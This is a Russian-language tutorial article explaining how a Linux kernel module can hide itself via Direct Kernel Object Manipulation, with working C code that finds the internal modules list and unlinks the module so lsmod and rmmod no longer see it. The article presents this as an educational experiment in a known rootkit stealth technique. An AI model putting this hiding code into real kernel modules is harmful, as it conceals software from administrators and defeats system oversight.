Как известно, задача скорытия модуля ядра от вездесущих «глаз» пользователя может иметь множество приложений. В данной статье рассматривается применение DKOM (Direct Kernel Object Manipulation) — одной из техник, позволяющий осуществить сокрытие информации посредством модицикации внутренних структур ядра.
Далее будут рассмотрены особенности применения данной техники с целью сокрытия видимых признаков наличия модуля в системе и, как следствие, невозможности его выгрузки.
Как следует из названия, основу DKOM представляет операция манипуляции внутренними структурами ядра. В рассматриваемом случае, структурой, подвергающейся изменению, является внутренний список модулей, содержащий ссылки на все модули, загруженные в систему.
Предствление модулей в ядре
Структурой-описателем модуля ядра Linux является одноимённая структура, описываемая в файле linux/modules.h следующим образом:
223 struct module
224 {
225 enum module_state state;
226
227 /* Member of list of modules */
228 struct list_head list;
229
230 /* Unique handle for this module */
231 char name[MODULE_NAME_LEN];
...
378 };
Помимо прочего, данная структура содержит поле list
, являющееся элементом связанного списка, посредством которого данный модуль линкуется в общий список модулей ядра. Последний, в свою очередь, является внутренним не экспортируемым списком, объявленным в файле kernel/module.c и защищаемым соответствующим (экспортируемым) мьютексом:
103 DEFINE_MUTEX(module_mutex);
104 EXPORT_SYMBOL_GPL(module_mutex);
105 static LIST_HEAD(modules);
При загрузке модуля, ядро добавляет модуль в свой список. При выгрузке — исключает. Вообще, все операции, требующие перебора загруженных модулей так или иначе сводятся к итерации ядром этого внутреннего списка.
Перечисление загруженных модулей
Для того, чтобы перечислить загруженные в систему модули, удобно использовать макрос THIS_MODULE
, ссылающийся на структуру-описатель текущего модуля. Рассмотренное ранее поле list
будет являться элементом общего списка модулей с головным описателем, находящимся где-то в недрах ядра. Итак, функция перечисления списка загруженных в систему модулей выглядит следующим образом:
static void list_modules(void)
{
struct module * mod;
struct list_head * pos;
while(!mutex_trylock(&module_mutex))
cpu_relax();
debug("List of available modules:n");
list_for_each(pos, &THIS_MODULE->list) {
bool head = (unsigned long)pos >= MODULES_VADDR;
mod = container_of(pos, struct module, list);
debug(" pos:%pK mod:%pK [%s]n", pos,
head ? mod : 0, head ? mod->name : "<- looking for");
}
mutex_unlock(&module_mutex);
}
Как видно, прежде всего, необходимо захватить соответствующий мьютекс, дабы не возникло проблем с синхронизацией, если кто-то в момент перечисления попытается выгрузить один из модулей.
Далее, важным моментом при перечислении является определение адреса головы списка — структуры modules. В силу особенностей организации связанных списков в ядре Linux, голова не связана ни с одним из модулей. Более того, т.к. описатели модулей выделяются из адресов диапазона модулей (MODULES_VADDR — MODULES_END), то определение принадлежности адреса к этому диапазону является тривиальным. Ниже приведён результат работы данной функции, полученный на одной из машин:
[11025.656372] [findme] List of available modules:
[11025.656377] [findme] pos:ffffffffa02a7388 mod:ffffffffa02a7380 [ipheth]
[11025.656380] [findme] pos:ffffffffa02b9108 mod:ffffffffa02b9100 [pci_stub]
[11025.656382] [findme] pos:ffffffffa01e7028 mod:ffffffffa01e7020 [vboxpci]
[11025.656385] [findme] pos:ffffffffa01dd148 mod:ffffffffa01dd140 [vboxnetadp]
[11025.656387] [findme] pos:ffffffffa01d4028 mod:ffffffffa01d4020 [vboxnetflt]
...
[11025.656477] [findme] pos:ffffffffa00205c8 mod:ffffffffa00205c0 [3c59x]
[11025.656480] [findme] pos:ffffffffa000c108 mod:ffffffffa000c100 [r8169]
[11025.656483] [findme] pos:ffffffff81c2daf0 mod:0000000000000000 [<- looking for]
Последняя строчка наглядно сообщает, что искомая структура находится по адресу ffffffff81c2daf0
, что можно проверить выполнив команду:
# grep -w modules /proc/kallsyms
ffffffff81c2daf0 d modules
Таким образом, используя какой-либо из модулей можно с лёгкостью, перебирая элементы списка, найти корневую структуру. Её отличительным признаком будет являться нехарактерный для модулей адрес (ffffffff81xxxxxx
против ffffffffa0xxxxxx
), что и было использовано:
struct list_head * get_modules_head(void)
{
struct list_head * pos;
while(!mutex_trylock(&module_mutex))
cpu_relax();
list_for_each(pos, &THIS_MODULE->list) {
if ((unsigned long)pos < MODULES_VADDR) {
break;
}
}
mutex_unlock(&module_mutex);
if (pos) {
debug("Found "modules" head @ %pKn", pos);
} else {
debug("Can't find "modules" head, abortingn");
}
return pos;
}
Манипуляции списком модулей
Сокрытие модуля в принципе не представляет сложностей, т.к. операция исключения элемента из списка не требует ничего, кроме данного элемента. Операция же повторной вставки требует наличия любого из существующих элементов списка. В данном случае, используется корневой элемент системы. Таким образом, сокрытие и повторное добавление модуля выглядит следующим образом:
static void hide_or_show(int new)
{
while(!mutex_trylock(&module_mutex))
cpu_relax();
if (new == 1) {
/* 0 -> 1 : hide */
list_del(&THIS_MODULE->list);
debug("Module "%s" unlinkedn", THIS_MODULE->name);
} else {
/* 1 -> 0 : show */
list_add(&THIS_MODULE->list, p_modules);
debug("Module "%s" linked againn", THIS_MODULE->name);
}
mutex_unlock(&module_mutex);
}
В первом случае, для исключения их списка используется list_del. Во втором — list_add. Обе операции защищаются захватом соответствующего мьютекса.
Практическая часть
В подготовленном примере содержится код модуля, который реализует функции маскировки. Для проверки следует собрать модуль и загрузить его стандартными средствами через make
и insmod
Далее, непосредственно после загрузки, модуль будет доступен через lsmod
или rmmod
. Далее привожу последовательность действий по проверке функций маскировки:
# isnmod findme.ko
# lsmod | grep findme
findme 12697 0
# sysctl -w findme=1
findme = 1
# lsmod | grep findme
# rmmod findme
libkmod: ERROR ../libkmod/libkmod-module.c:753 kmod_module_remove_module: could not remove 'findme': No such file or directory
Error: could not remove module findme: No such file or directory
# sysctl -w findme=0
findme = 0
# lsmod | grep findme
findme 12697 0
# rmmod findme
Таким образом, существует возможность простого сокрытия модуля ядра от посторонних глаз. Представленный пример содержит необходимый для экспериментов код.
На почитать
1. Direct Kernel Object Manipulation
2. Linux Kernel Linked List Explained
3. Linux kernel design patterns — part 2
Автор: milabs